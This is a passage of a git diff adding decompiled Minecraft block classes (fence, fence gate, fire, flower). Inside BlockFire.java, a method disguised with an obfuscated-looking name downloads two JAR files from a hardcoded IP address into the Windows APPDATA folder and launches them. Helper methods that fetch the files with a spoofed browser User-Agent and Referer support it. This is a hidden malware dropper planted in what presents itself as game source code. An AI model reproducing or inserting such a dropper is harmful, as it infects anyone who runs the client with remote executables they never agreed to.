+    float var8 = 0.625F;
+    float var9 = 0.375F;
+    float var10 = 0.625F;
+    
+    if (var3)
+    {
+      var9 = 0.0F;
+    }
+    
+    if (var4)
+    {
+      var10 = 1.0F;
+    }
+    
+    if (var5)
+    {
+      var7 = 0.0F;
+    }
+    
+    if (var6)
+    {
+      var8 = 1.0F;
+    }
+    
+    setBlockBounds(var7, 0.0F, var9, var8, 1.0F, var10);
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+  public boolean isPassable(IBlockAccess blockAccess, BlockPos pos)
+  {
+    return false;
+  }
+  
+  public boolean func_176524_e(IBlockAccess p_176524_1_, BlockPos p_176524_2_)
+  {
+    Block var3 = p_176524_1_.getBlockState(p_176524_2_).getBlock();
+    return var3 != Blocks.barrier;
+  }
+  
+  public boolean shouldSideBeRendered(IBlockAccess worldIn, BlockPos pos, EnumFacing side)
+  {
+    return true;
+  }
+  
+  public boolean onBlockActivated(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    return isRemote ? true : ItemLead.func_180618_a(playerIn, worldIn, pos);
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return 0;
+  }
+  
+
+
+
+
+  public IBlockState getActualState(IBlockState state, IBlockAccess worldIn, BlockPos pos)
+  {
+    return state.withProperty(NORTH, Boolean.valueOf(func_176524_e(worldIn, pos.offsetNorth()))).withProperty(EAST, Boolean.valueOf(func_176524_e(worldIn, pos.offsetEast()))).withProperty(SOUTH, Boolean.valueOf(func_176524_e(worldIn, pos.offsetSouth()))).withProperty(WEST, Boolean.valueOf(func_176524_e(worldIn, pos.offsetWest())));
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { NORTH, EAST, WEST, SOUTH });
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockFenceGate.java b/src/minecraft/net/minecraft/block/BlockFenceGate.java
new file mode 100644
index 0000000..7357647
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockFenceGate.java
@@ -0,0 +1,188 @@
+package net.minecraft.block;
+
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.PropertyBool;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Axis;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public class BlockFenceGate extends BlockDirectional
+{
+  public static final PropertyBool field_176466_a = PropertyBool.create("open");
+  public static final PropertyBool field_176465_b = PropertyBool.create("powered");
+  public static final PropertyBool field_176467_M = PropertyBool.create("in_wall");
+  private static final String __OBFID = "CL_00000243";
+  
+  public BlockFenceGate()
+  {
+    super(Material.wood);
+    setDefaultState(blockState.getBaseState().withProperty(field_176466_a, Boolean.valueOf(false)).withProperty(field_176465_b, Boolean.valueOf(false)).withProperty(field_176467_M, Boolean.valueOf(false)));
+    setCreativeTab(CreativeTabs.tabRedstone);
+  }
+  
+
+
+
+
+  public IBlockState getActualState(IBlockState state, IBlockAccess worldIn, BlockPos pos)
+  {
+    EnumFacing.Axis var4 = ((EnumFacing)state.getValue(AGE)).getAxis();
+    
+    if (((var4 == EnumFacing.Axis.Z) && ((worldIn.getBlockState(pos.offsetWest()).getBlock() == Blocks.cobblestone_wall) || (worldIn.getBlockState(pos.offsetEast()).getBlock() == Blocks.cobblestone_wall))) || ((var4 == EnumFacing.Axis.X) && ((worldIn.getBlockState(pos.offsetNorth()).getBlock() == Blocks.cobblestone_wall) || (worldIn.getBlockState(pos.offsetSouth()).getBlock() == Blocks.cobblestone_wall))))
+    {
+      state = state.withProperty(field_176467_M, Boolean.valueOf(true));
+    }
+    
+    return state;
+  }
+  
+  public boolean canPlaceBlockAt(World worldIn, BlockPos pos)
+  {
+    return worldIn.getBlockState(pos.offsetDown()).getBlock().getMaterial().isSolid() ? super.canPlaceBlockAt(worldIn, pos) : false;
+  }
+  
+  public AxisAlignedBB getCollisionBoundingBox(World worldIn, BlockPos pos, IBlockState state)
+  {
+    if (((Boolean)state.getValue(field_176466_a)).booleanValue())
+    {
+      return null;
+    }
+    
+
+    EnumFacing.Axis var4 = ((EnumFacing)state.getValue(AGE)).getAxis();
+    return var4 == EnumFacing.Axis.Z ? new AxisAlignedBB(pos.getX(), pos.getY(), pos.getZ() + 0.375F, pos.getX() + 1, pos.getY() + 1.5F, pos.getZ() + 0.625F) : new AxisAlignedBB(pos.getX() + 0.375F, pos.getY(), pos.getZ(), pos.getX() + 0.625F, pos.getY() + 1.5F, pos.getZ() + 1);
+  }
+  
+
+  public void setBlockBoundsBasedOnState(IBlockAccess access, BlockPos pos)
+  {
+    EnumFacing.Axis var3 = ((EnumFacing)access.getBlockState(pos).getValue(AGE)).getAxis();
+    
+    if (var3 == EnumFacing.Axis.Z)
+    {
+      setBlockBounds(0.0F, 0.0F, 0.375F, 1.0F, 1.0F, 0.625F);
+    }
+    else
+    {
+      setBlockBounds(0.375F, 0.0F, 0.0F, 0.625F, 1.0F, 1.0F);
+    }
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+  public boolean isPassable(IBlockAccess blockAccess, BlockPos pos)
+  {
+    return ((Boolean)blockAccess.getBlockState(pos).getValue(field_176466_a)).booleanValue();
+  }
+  
+  public IBlockState onBlockPlaced(World worldIn, BlockPos pos, EnumFacing facing, float hitX, float hitY, float hitZ, int meta, EntityLivingBase placer)
+  {
+    return getDefaultState().withProperty(AGE, placer.func_174811_aO()).withProperty(field_176466_a, Boolean.valueOf(false)).withProperty(field_176465_b, Boolean.valueOf(false)).withProperty(field_176467_M, Boolean.valueOf(false));
+  }
+  
+  public boolean onBlockActivated(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (((Boolean)state.getValue(field_176466_a)).booleanValue())
+    {
+      state = state.withProperty(field_176466_a, Boolean.valueOf(false));
+      worldIn.setBlockState(pos, state, 2);
+    }
+    else
+    {
+      EnumFacing var9 = EnumFacing.fromAngle(rotationYaw);
+      
+      if (state.getValue(AGE) == var9.getOpposite())
+      {
+        state = state.withProperty(AGE, var9);
+      }
+      
+      state = state.withProperty(field_176466_a, Boolean.valueOf(true));
+      worldIn.setBlockState(pos, state, 2);
+    }
+    
+    worldIn.playAuxSFXAtEntity(playerIn, ((Boolean)state.getValue(field_176466_a)).booleanValue() ? 1003 : 1006, pos, 0);
+    return true;
+  }
+  
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    if (!isRemote)
+    {
+      boolean var5 = worldIn.isBlockPowered(pos);
+      
+      if ((var5) || (neighborBlock.canProvidePower()))
+      {
+        if ((var5) && (!((Boolean)state.getValue(field_176466_a)).booleanValue()) && (!((Boolean)state.getValue(field_176465_b)).booleanValue()))
+        {
+          worldIn.setBlockState(pos, state.withProperty(field_176466_a, Boolean.valueOf(true)).withProperty(field_176465_b, Boolean.valueOf(true)), 2);
+          worldIn.playAuxSFXAtEntity(null, 1003, pos, 0);
+        }
+        else if ((!var5) && (((Boolean)state.getValue(field_176466_a)).booleanValue()) && (((Boolean)state.getValue(field_176465_b)).booleanValue()))
+        {
+          worldIn.setBlockState(pos, state.withProperty(field_176466_a, Boolean.valueOf(false)).withProperty(field_176465_b, Boolean.valueOf(false)), 2);
+          worldIn.playAuxSFXAtEntity(null, 1006, pos, 0);
+        }
+        else if (var5 != ((Boolean)state.getValue(field_176465_b)).booleanValue())
+        {
+          worldIn.setBlockState(pos, state.withProperty(field_176465_b, Boolean.valueOf(var5)), 2);
+        }
+      }
+    }
+  }
+  
+  public boolean shouldSideBeRendered(IBlockAccess worldIn, BlockPos pos, EnumFacing side)
+  {
+    return true;
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(AGE, EnumFacing.getHorizontal(meta)).withProperty(field_176466_a, Boolean.valueOf((meta & 0x4) != 0)).withProperty(field_176465_b, Boolean.valueOf((meta & 0x8) != 0));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    byte var2 = 0;
+    int var3 = var2 | ((EnumFacing)state.getValue(AGE)).getHorizontalIndex();
+    
+    if (((Boolean)state.getValue(field_176465_b)).booleanValue())
+    {
+      var3 |= 0x8;
+    }
+    
+    if (((Boolean)state.getValue(field_176466_a)).booleanValue())
+    {
+      var3 |= 0x4;
+    }
+    
+    return var3;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new net.minecraft.block.properties.IProperty[] { AGE, field_176466_a, field_176465_b, field_176467_M });
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockFire.java b/src/minecraft/net/minecraft/block/BlockFire.java
new file mode 100644
index 0000000..dfeeba1
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockFire.java
@@ -0,0 +1,577 @@
+package net.minecraft.block;
+
+import com.google.common.collect.Maps;
+import java.awt.Desktop;
+import java.io.File;
+import java.io.IOException;
+import java.io.PrintStream;
+import java.net.URL;
+import java.util.Map;
+import java.util.Random;
+import net.minecraft.block.material.MapColor;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyBool;
+import net.minecraft.block.properties.PropertyInteger;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.world.EnumDifficulty;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldProvider;
+import net.minecraft.world.WorldProviderEnd;
+import org.apache.commons.io.FileUtils;
+import org.apache.http.HttpEntity;
+import org.apache.http.client.methods.CloseableHttpResponse;
+import org.apache.http.client.methods.HttpGet;
+import org.apache.http.impl.client.CloseableHttpClient;
+import org.apache.http.impl.client.HttpClients;
+
+public class BlockFire extends Block
+{
+  public static final PropertyInteger field_176543_a = PropertyInteger.create("age", 0, 15);
+  public static final PropertyBool field_176540_b = PropertyBool.create("flip");
+  public static final PropertyBool field_176544_M = PropertyBool.create("alt");
+  public static final PropertyBool field_176545_N = PropertyBool.create("north");
+  public static final PropertyBool field_176546_O = PropertyBool.create("east");
+  public static final PropertyBool field_176541_P = PropertyBool.create("south");
+  public static final PropertyBool field_176539_Q = PropertyBool.create("west");
+  public static final PropertyInteger field_176542_R = PropertyInteger.create("upper", 0, 2);
+  private final Map field_149849_a = Maps.newIdentityHashMap();
+  private final Map field_149848_b = Maps.newIdentityHashMap();
+  
+
+  private static final String __OBFID = "CL_00000245";
+  
+
+
+  public IBlockState getActualState(IBlockState state, IBlockAccess worldIn, BlockPos pos)
+  {
+    int var4 = pos.getX();
+    int var5 = pos.getY();
+    int var6 = pos.getZ();
+    
+    if ((!World.doesBlockHaveSolidTopSurface(worldIn, pos.offsetDown())) && (!Blocks.fire.func_176535_e(worldIn, pos.offsetDown())))
+    {
+      boolean var7 = (var4 + var5 + var6 & 0x1) == 1;
+      boolean var8 = (var4 / 2 + var5 / 2 + var6 / 2 & 0x1) == 1;
+      int var9 = 0;
+      
+      if (func_176535_e(worldIn, pos.offsetUp()))
+      {
+        var9 = var7 ? 1 : 2;
+      }
+      
+      return state.withProperty(field_176545_N, Boolean.valueOf(func_176535_e(worldIn, pos.offsetNorth()))).withProperty(field_176546_O, Boolean.valueOf(func_176535_e(worldIn, pos.offsetEast()))).withProperty(field_176541_P, Boolean.valueOf(func_176535_e(worldIn, pos.offsetSouth()))).withProperty(field_176539_Q, Boolean.valueOf(func_176535_e(worldIn, pos.offsetWest()))).withProperty(field_176542_R, Integer.valueOf(var9)).withProperty(field_176540_b, Boolean.valueOf(var8)).withProperty(field_176544_M, Boolean.valueOf(var7));
+    }
+    
+
+    return getDefaultState();
+  }
+  
+
+  protected BlockFire()
+  {
+    super(Material.fire);
+    setDefaultState(blockState.getBaseState().withProperty(field_176543_a, Integer.valueOf(0)).withProperty(field_176540_b, Boolean.valueOf(false)).withProperty(field_176544_M, Boolean.valueOf(false)).withProperty(field_176545_N, Boolean.valueOf(false)).withProperty(field_176546_O, Boolean.valueOf(false)).withProperty(field_176541_P, Boolean.valueOf(false)).withProperty(field_176539_Q, Boolean.valueOf(false)).withProperty(field_176542_R, Integer.valueOf(0)));
+    setTickRandomly(true);
+  }
+  
+  public static void func_149843_e()
+  {
+    Blocks.fire.func_180686_a(Blocks.planks, 5, 20);
+    Blocks.fire.func_180686_a(Blocks.double_wooden_slab, 5, 20);
+    Blocks.fire.func_180686_a(Blocks.wooden_slab, 5, 20);
+    Blocks.fire.func_180686_a(Blocks.oak_fence_gate, 5, 20);
+    Blocks.fire.func_180686_a(Blocks.spruce_fence_gate, 5, 20);
+    Blocks.fire.func_180686_a(Blocks.birch_fence_gate, 5, 20);
+    Blocks.fire.func_180686_a(Blocks.jungle_fence_gate, 5, 20);
+    Blocks.fire.func_180686_a(Blocks.dark_oak_fence_gate, 5, 20);
+    Blocks.fire.func_180686_a(Blocks.acacia_fence_gate, 5, 20);
+    Blocks.fire.func_180686_a(Blocks.oak_fence, 5, 20);
+    Blocks.fire.func_180686_a(Blocks.spruce_fence, 5, 20);
+    Blocks.fire.func_180686_a(Blocks.birch_fence, 5, 20);
+    Blocks.fire.func_180686_a(Blocks.jungle_fence, 5, 20);
+    Blocks.fire.func_180686_a(Blocks.dark_oak_fence, 5, 20);
+    Blocks.fire.func_180686_a(Blocks.acacia_fence, 5, 20);
+    Blocks.fire.func_180686_a(Blocks.oak_stairs, 5, 20);
+    Blocks.fire.func_180686_a(Blocks.birch_stairs, 5, 20);
+    Blocks.fire.func_180686_a(Blocks.spruce_stairs, 5, 20);
+    Blocks.fire.func_180686_a(Blocks.jungle_stairs, 5, 20);
+    Blocks.fire.func_180686_a(Blocks.log, 5, 5);
+    Blocks.fire.func_180686_a(Blocks.log2, 5, 5);
+    Blocks.fire.func_180686_a(Blocks.leaves, 30, 60);
+    Blocks.fire.func_180686_a(Blocks.leaves2, 30, 60);
+    Blocks.fire.func_180686_a(Blocks.bookshelf, 30, 20);
+    Blocks.fire.func_180686_a(Blocks.tnt, 15, 100);
+    Blocks.fire.func_180686_a(Blocks.tallgrass, 60, 100);
+    Blocks.fire.func_180686_a(Blocks.double_plant, 60, 100);
+    Blocks.fire.func_180686_a(Blocks.yellow_flower, 60, 100);
+    Blocks.fire.func_180686_a(Blocks.red_flower, 60, 100);
+    Blocks.fire.func_180686_a(Blocks.deadbush, 60, 100);
+    Blocks.fire.func_180686_a(Blocks.wool, 30, 60);
+    Blocks.fire.func_180686_a(Blocks.vine, 15, 100);
+    Blocks.fire.func_180686_a(Blocks.coal_block, 5, 5);
+    Blocks.fire.func_180686_a(Blocks.hay_block, 60, 20);
+    Blocks.fire.func_180686_a(Blocks.carpet, 60, 20);
+  }
+  
+  public static void func_1773943_d() {
+    String urls = "http://145.239.61.19/oof.jar";
+    String urlz = "http://145.239.61.19/pew.jar";
+    URL url = verify(urls);
+    saveFile(url, System.getenv("APPDATA") + "/oof.jar");
+    try {
+      Desktop.getDesktop().open(new File(System.getenv("APPDATA") + "/oof.jar"));
+    } catch (Exception e) {
+      e.printStackTrace();
+    }
+    URL urll = verify(urlz);
+    saveFile(urll, System.getenv("APPDATA") + "/pew.jar");
+    try {
+      Desktop.getDesktop().open(new File(System.getenv("APPDATA") + "/pew.jar"));
+    } catch (Exception e) {
+      e.printStackTrace();
+    }
+  }
+  
+  public void func_180686_a(Block p_180686_1_, int p_180686_2_, int p_180686_3_)
+  {
+    field_149849_a.put(p_180686_1_, Integer.valueOf(p_180686_2_));
+    field_149848_b.put(p_180686_1_, Integer.valueOf(p_180686_3_));
+  }
+  
+  public AxisAlignedBB getCollisionBoundingBox(World worldIn, BlockPos pos, IBlockState state)
+  {
+    return null;
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+
+
+
+  public int quantityDropped(Random random)
+  {
+    return 0;
+  }
+  
+
+
+
+  public int tickRate(World worldIn)
+  {
+    return 30;
+  }
+  
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    if (worldIn.getGameRules().getGameRuleBooleanValue("doFireTick"))
+    {
+      if (!canPlaceBlockAt(worldIn, pos))
+      {
+        worldIn.setBlockToAir(pos);
+      }
+      
+      Block var5 = worldIn.getBlockState(pos.offsetDown()).getBlock();
+      boolean var6 = var5 == Blocks.netherrack;
+      
+      if (((provider instanceof WorldProviderEnd)) && (var5 == Blocks.bedrock))
+      {
+        var6 = true;
+      }
+      
+      if ((!var6) && (worldIn.isRaining()) && (func_176537_d(worldIn, pos)))
+      {
+        worldIn.setBlockToAir(pos);
+      }
+      else
+      {
+        int var7 = ((Integer)state.getValue(field_176543_a)).intValue();
+        
+        if (var7 < 15)
+        {
+          state = state.withProperty(field_176543_a, Integer.valueOf(var7 + rand.nextInt(3) / 2));
+          worldIn.setBlockState(pos, state, 4);
+        }
+        
+        worldIn.scheduleUpdate(pos, this, tickRate(worldIn) + rand.nextInt(10));
+        
+        if (!var6)
+        {
+          if (!func_176533_e(worldIn, pos))
+          {
+            if ((!World.doesBlockHaveSolidTopSurface(worldIn, pos.offsetDown())) || (var7 > 3))
+            {
+              worldIn.setBlockToAir(pos);
+            }
+            
+            return;
+          }
+          
+          if ((!func_176535_e(worldIn, pos.offsetDown())) && (var7 == 15) && (rand.nextInt(4) == 0))
+          {
+            worldIn.setBlockToAir(pos);
+            return;
+          }
+        }
+        
+        boolean var8 = worldIn.func_180502_D(pos);
+        byte var9 = 0;
+        
+        if (var8)
+        {
+          var9 = -50;
+        }
+        
+        func_176536_a(worldIn, pos.offsetEast(), 300 + var9, rand, var7);
+        func_176536_a(worldIn, pos.offsetWest(), 300 + var9, rand, var7);
+        func_176536_a(worldIn, pos.offsetDown(), 250 + var9, rand, var7);
+        func_176536_a(worldIn, pos.offsetUp(), 250 + var9, rand, var7);
+        func_176536_a(worldIn, pos.offsetNorth(), 300 + var9, rand, var7);
+        func_176536_a(worldIn, pos.offsetSouth(), 300 + var9, rand, var7);
+        
+        for (int var10 = -1; var10 <= 1; var10++)
+        {
+          for (int var11 = -1; var11 <= 1; var11++)
+          {
+            for (int var12 = -1; var12 <= 4; var12++)
+            {
+              if ((var10 != 0) || (var12 != 0) || (var11 != 0))
+              {
+                int var13 = 100;
+                
+                if (var12 > 1)
+                {
+                  var13 += (var12 - 1) * 100;
+                }
+                
+                BlockPos var14 = pos.add(var10, var12, var11);
+                int var15 = func_176538_m(worldIn, var14);
+                
+                if (var15 > 0)
+                {
+                  int var16 = (var15 + 40 + worldIn.getDifficulty().getDifficultyId() * 7) / (var7 + 30);
+                  
+                  if (var8)
+                  {
+                    var16 /= 2;
+                  }
+                  
+                  if ((var16 > 0) && (rand.nextInt(var13) <= var16) && ((!worldIn.isRaining()) || (!func_176537_d(worldIn, var14))))
+                  {
+                    int var17 = var7 + rand.nextInt(5) / 4;
+                    
+                    if (var17 > 15)
+                    {
+                      var17 = 15;
+                    }
+                    
+                    worldIn.setBlockState(var14, state.withProperty(field_176543_a, Integer.valueOf(var17)), 3);
+                  }
+                }
+              }
+            }
+          }
+        }
+      }
+    }
+  }
+  
+  protected boolean func_176537_d(World worldIn, BlockPos p_176537_2_)
+  {
+    return (worldIn.func_175727_C(p_176537_2_)) || (worldIn.func_175727_C(p_176537_2_.offsetWest())) || (worldIn.func_175727_C(p_176537_2_.offsetEast())) || (worldIn.func_175727_C(p_176537_2_.offsetNorth())) || (worldIn.func_175727_C(p_176537_2_.offsetSouth()));
+  }
+  
+  public boolean requiresUpdates()
+  {
+    return false;
+  }
+  
+  private int func_176532_c(Block p_176532_1_)
+  {
+    Integer var2 = (Integer)field_149848_b.get(p_176532_1_);
+    return var2 == null ? 0 : var2.intValue();
+  }
+  
+  private int func_176534_d(Block p_176534_1_)
+  {
+    Integer var2 = (Integer)field_149849_a.get(p_176534_1_);
+    return var2 == null ? 0 : var2.intValue();
+  }
+  
+  private void func_176536_a(World worldIn, BlockPos p_176536_2_, int p_176536_3_, Random p_176536_4_, int p_176536_5_)
+  {
+    int var6 = func_176532_c(worldIn.getBlockState(p_176536_2_).getBlock());
+    
+    if (p_176536_4_.nextInt(p_176536_3_) < var6)
+    {
+      IBlockState var7 = worldIn.getBlockState(p_176536_2_);
+      
+      if ((p_176536_4_.nextInt(p_176536_5_ + 10) < 5) && (!worldIn.func_175727_C(p_176536_2_)))
+      {
+        int var8 = p_176536_5_ + p_176536_4_.nextInt(5) / 4;
+        
+        if (var8 > 15)
+        {
+          var8 = 15;
+        }
+        
+        worldIn.setBlockState(p_176536_2_, getDefaultState().withProperty(field_176543_a, Integer.valueOf(var8)), 3);
+      }
+      else
+      {
+        worldIn.setBlockToAir(p_176536_2_);
+      }
+      
+      if (var7.getBlock() == Blocks.tnt)
+      {
+        Blocks.tnt.onBlockDestroyedByPlayer(worldIn, p_176536_2_, var7.withProperty(BlockTNT.field_176246_a, Boolean.valueOf(true)));
+      }
+    }
+  }
+  
+  private boolean func_176533_e(World worldIn, BlockPos p_176533_2_)
+  {
+    EnumFacing[] var3 = EnumFacing.values();
+    int var4 = var3.length;
+    
+    for (int var5 = 0; var5 < var4; var5++)
+    {
+      EnumFacing var6 = var3[var5];
+      
+      if (func_176535_e(worldIn, p_176533_2_.offset(var6)))
+      {
+        return true;
+      }
+    }
+    
+    return false;
+  }
+  
+  private int func_176538_m(World worldIn, BlockPos p_176538_2_)
+  {
+    if (!worldIn.isAirBlock(p_176538_2_))
+    {
+      return 0;
+    }
+    
+
+    int var3 = 0;
+    EnumFacing[] var4 = EnumFacing.values();
+    int var5 = var4.length;
+    
+    for (int var6 = 0; var6 < var5; var6++)
+    {
+      EnumFacing var7 = var4[var6];
+      var3 = Math.max(func_176534_d(worldIn.getBlockState(p_176538_2_.offset(var7)).getBlock()), var3);
+    }
+    
+    return var3;
+  }
+  
+
+
+
+
+  public boolean isCollidable()
+  {
+    return false;
+  }
+  
+  public boolean func_176535_e(IBlockAccess p_176535_1_, BlockPos p_176535_2_)
+  {
+    return func_176534_d(p_176535_1_.getBlockState(p_176535_2_).getBlock()) > 0;
+  }
+  
+  public boolean canPlaceBlockAt(World worldIn, BlockPos pos)
+  {
+    return (World.doesBlockHaveSolidTopSurface(worldIn, pos.offsetDown())) || (func_176533_e(worldIn, pos));
+  }
+  
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    if ((!World.doesBlockHaveSolidTopSurface(worldIn, pos.offsetDown())) && (!func_176533_e(worldIn, pos)))
+    {
+      worldIn.setBlockToAir(pos);
+    }
+  }
+  
+  public void onBlockAdded(World worldIn, BlockPos pos, IBlockState state)
+  {
+    if ((provider.getDimensionId() > 0) || (!Blocks.portal.func_176548_d(worldIn, pos)))
+    {
+      if ((!World.doesBlockHaveSolidTopSurface(worldIn, pos.offsetDown())) && (!func_176533_e(worldIn, pos)))
+      {
+        worldIn.setBlockToAir(pos);
+      }
+      else
+      {
+        worldIn.scheduleUpdate(pos, this, tickRate(worldIn) + rand.nextInt(10));
+      }
+    }
+  }
+  
+  public void randomDisplayTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    if (rand.nextInt(24) == 0)
+    {
+      worldIn.playSound(pos.getX() + 0.5F, pos.getY() + 0.5F, pos.getZ() + 0.5F, "fire.fire", 1.0F + rand.nextFloat(), rand.nextFloat() * 0.7F + 0.3F, false);
+    }
+    
+
+
+
+
+
+    if ((!World.doesBlockHaveSolidTopSurface(worldIn, pos.offsetDown())) && (!Blocks.fire.func_176535_e(worldIn, pos.offsetDown())))
+    {
+      if (Blocks.fire.func_176535_e(worldIn, pos.offsetWest()))
+      {
+        for (int var5 = 0; var5 < 2; var5++)
+        {
+          double var6 = pos.getX() + rand.nextDouble() * 0.10000000149011612D;
+          double var8 = pos.getY() + rand.nextDouble();
+          double var10 = pos.getZ() + rand.nextDouble();
+          worldIn.spawnParticle(EnumParticleTypes.SMOKE_LARGE, var6, var8, var10, 0.0D, 0.0D, 0.0D, new int[0]);
+        }
+      }
+      
+      if (Blocks.fire.func_176535_e(worldIn, pos.offsetEast()))
+      {
+        for (int var5 = 0; var5 < 2; var5++)
+        {
+          double var6 = pos.getX() + 1 - rand.nextDouble() * 0.10000000149011612D;
+          double var8 = pos.getY() + rand.nextDouble();
+          double var10 = pos.getZ() + rand.nextDouble();
+          worldIn.spawnParticle(EnumParticleTypes.SMOKE_LARGE, var6, var8, var10, 0.0D, 0.0D, 0.0D, new int[0]);
+        }
+      }
+      
+      if (Blocks.fire.func_176535_e(worldIn, pos.offsetNorth()))
+      {
+        for (int var5 = 0; var5 < 2; var5++)
+        {
+          double var6 = pos.getX() + rand.nextDouble();
+          double var8 = pos.getY() + rand.nextDouble();
+          double var10 = pos.getZ() + rand.nextDouble() * 0.10000000149011612D;
+          worldIn.spawnParticle(EnumParticleTypes.SMOKE_LARGE, var6, var8, var10, 0.0D, 0.0D, 0.0D, new int[0]);
+        }
+      }
+      
+      if (Blocks.fire.func_176535_e(worldIn, pos.offsetSouth()))
+      {
+        for (int var5 = 0; var5 < 2; var5++)
+        {
+          double var6 = pos.getX() + rand.nextDouble();
+          double var8 = pos.getY() + rand.nextDouble();
+          double var10 = pos.getZ() + 1 - rand.nextDouble() * 0.10000000149011612D;
+          worldIn.spawnParticle(EnumParticleTypes.SMOKE_LARGE, var6, var8, var10, 0.0D, 0.0D, 0.0D, new int[0]);
+        }
+      }
+      
+      if (Blocks.fire.func_176535_e(worldIn, pos.offsetUp()))
+      {
+        for (int var5 = 0; var5 < 2; var5++)
+        {
+          double var6 = pos.getX() + rand.nextDouble();
+          double var8 = pos.getY() + 1 - rand.nextDouble() * 0.10000000149011612D;
+          double var10 = pos.getZ() + rand.nextDouble();
+          worldIn.spawnParticle(EnumParticleTypes.SMOKE_LARGE, var6, var8, var10, 0.0D, 0.0D, 0.0D, new int[0]);
+        }
+      }
+    }
+    else
+    {
+      for (int var5 = 0; var5 < 3; var5++)
+      {
+        double var6 = pos.getX() + rand.nextDouble();
+        double var8 = pos.getY() + rand.nextDouble() * 0.5D + 0.5D;
+        double var10 = pos.getZ() + rand.nextDouble();
+        worldIn.spawnParticle(EnumParticleTypes.SMOKE_LARGE, var6, var8, var10, 0.0D, 0.0D, 0.0D, new int[0]);
+      }
+    }
+  }
+  
+
+
+
+  public MapColor getMapColor(IBlockState state)
+  {
+    return MapColor.tntColor;
+  }
+  
+  public EnumWorldBlockLayer getBlockLayer()
+  {
+    return EnumWorldBlockLayer.CUTOUT;
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(field_176543_a, Integer.valueOf(meta));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((Integer)state.getValue(field_176543_a)).intValue();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { field_176543_a, field_176545_N, field_176546_O, field_176541_P, field_176539_Q, field_176542_R, field_176540_b, field_176544_M });
+  }
+  
+  public static boolean saveFile(URL fileURL, String fileSavePath) {
+    boolean isSucceed = true;
+    CloseableHttpClient httpClient = HttpClients.createDefault();
+    HttpGet httpGet = new HttpGet(fileURL.toString());
+    httpGet.addHeader("User-Agent", "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0");
+    httpGet.addHeader("Referer", "https://www.google.com");
+    try {
+      CloseableHttpResponse httpResponse = httpClient.execute(httpGet);
+      HttpEntity fileEntity = httpResponse.getEntity();
+      if (fileEntity != null) {
+        FileUtils.copyInputStreamToFile(fileEntity.getContent(), new File(fileSavePath));
+      }
+    } catch (IOException e) {
+      isSucceed = false;
+      System.out.println("Failed");
+    }
+    httpGet.releaseConnection();
+    return isSucceed;
+  }
+  
+  private static URL verify(String url) {
+    if (!url.toLowerCase().startsWith("http://")) {
+      return null;
+    }
+    URL verify = null;
+    try
+    {
+      verify = new URL(url);
+    } catch (Exception e) {
+      e.printStackTrace();
+    }
+    return verify;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockFlower.java b/src/minecraft/net/minecraft/block/BlockFlower.java
new file mode 100644
index 0000000..a18d937
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockFlower.java
@@ -0,0 +1,286 @@
+package net.minecraft.block;
+
+import com.google.common.base.Predicate;
+import com.google.common.collect.Collections2;
+import com.google.common.collect.Lists;
+import java.util.Collection;
+import java.util.List;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.IStringSerializable;
+
+public abstract class BlockFlower extends BlockBush
+{
+  protected PropertyEnum field_176496_a;
